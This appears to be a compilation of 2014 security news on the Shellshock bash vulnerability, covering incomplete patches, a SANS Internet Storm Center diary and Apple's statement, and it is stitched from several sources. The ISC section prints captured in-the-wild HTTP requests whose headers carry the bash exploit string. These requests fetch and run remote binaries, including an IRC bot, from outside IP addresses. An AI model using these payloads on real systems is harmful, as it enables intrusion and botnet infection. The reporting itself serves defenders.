Hackin9
It's now bash-a-mole.

Remember when we said that a new patch had fixed the problems with the last patch to fix the rated-highly-dangerous “Shellshock” bug in the GNU Bourne Again Shell (bash)? You know, that bug that could allow an attacker to remotely execute code on a Linux or Unix system running some configurations of Apache, or perhaps the Git software version control system, DHCP network configuration or any number of other pieces of software that use bash to interact with the underlying operating system? Well, the new patch may not be a complete fix—and there may be vulnerabilities all the way down in the bash code.

Here's how the Shellshock vulnerability works, in a nutshell: an attacker sends a request to a Web server (or Git, a DHCP client, or anything else affected) that uses bash internally to interact with the operating system. This request includes data stored in an environmental variable. Environmental variables are like a clipboard for operating systems, storing information used to help it and software running on it know where to look for certain files or what configuration to start with. But in this case, the data is malformed so as to trick bash into treating it as a command, and that command is executed as part of what would normally be a benign set of script. This ability to trick bash is the shellshock bug. As a result, the attacker can run programs with the same level of access as the part of the system launching a bash shell. And in the case of a web server, that's practically the same level of access as an administrator, giving the attacker a way to gain full control of the targeted system.

David A. Wheeler, a computer scientist who is an acknowledged expert in developing secure open-source code, posted a message to the Open Source Software Security (oss-sec) list this evening urging more changes to the bash code. And other developers have found that the current patch still has vulnerabilities similar to the original one, where an attacker could store malicious data in a variable named the same thing as frequently run commands.

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At the Storm Center, we are strict and judicious on moving the InfoCon status. We felt, after dialog, that Yellow is warranted in this case as we are seeing signs of worm/botnet activity. This combined with so many systems are impacted [worm], with no signs of letting up [met].

We will monitor this closely and relax InfoCon when the situation seems to be more stable.

Some example requests currently probing for the vulnerability:

GET /cgi-bin/test.sh HTTP/1.0
Host: [host ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

ec.z is an obfuscated perl script launching an IRC bot. 

This second attack uses multiple headers. We have not yet recovered the 'nginx' binary.

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
Host: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
User-Agent: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Cookie: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Referer: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

In addition, we have seen numerous scans that will just probe the vulnerability.

[met] https://github.com/rapid7/metasploit-framework/pull/3891
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspx

 

---

Richard W. Porter

rporter at isc dot sans dot edu || @packetalien

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 

Update, 9/26 11:00 PM ET: The most recent patches issued for the "Shellshock" bug have apparently still left avenues of attack, based on the analysis of several open source developers. See the latest report for further information.

After the discovery that a patch designed to repair the “Shellshock” vulnerability in the GNU Bourne Again Shell (bash) still allowed for an attacker to execute commands on a remote system, Red Hat, Ubuntu, and other Linux distribution providers have pushed out a second fix to the vulnerability. At the same time, security researchers and service providers have detected a surge in scans for systems with the vulnerability, as would-be attackers seek to take advantage of the bug.

“Shellshock” has been compared to the Heartbleed bug discovered in the OpenSSL cryptography library in April because of its potential severity and its widespread nature. Like Heartbleed, the Shellshock vulnerabilities were introduced by errors in coding years ago—errors made by an unpaid volunteer writing code that would end up in millions of computer systems.

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Apple has responded to concerns about “Shellshock,” a pair of vulnerabilities in versions of the GNU Bourne-Again Shell (bash), issuing a statement that the company is “working to quickly provide a fix” to the vulnerability. However, a company spokesperson said that most Mac OS X users have nothing to fear.

In an email to Ars Technica, an Apple spokesperson provided the following statement from the company:

"The vast majority of OS X users are not at risk to recently reported bash vulnerabilities. Bash, a UNIX command shell and language included in OS X, has a weakness that could allow unauthorized users to remotely gain control of vulnerable systems. With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services. We are working to quickly provide a software update for our advanced UNIX users.”

Update: Chet Ramey, the maintainer of bash, said in a post to Twitter that he had notified Apple of the vulnerability several times before it was made public, "and sent a patch they can apply. Several messages." So it's not certain why Apple hasn't already packaged that fix for release, other than

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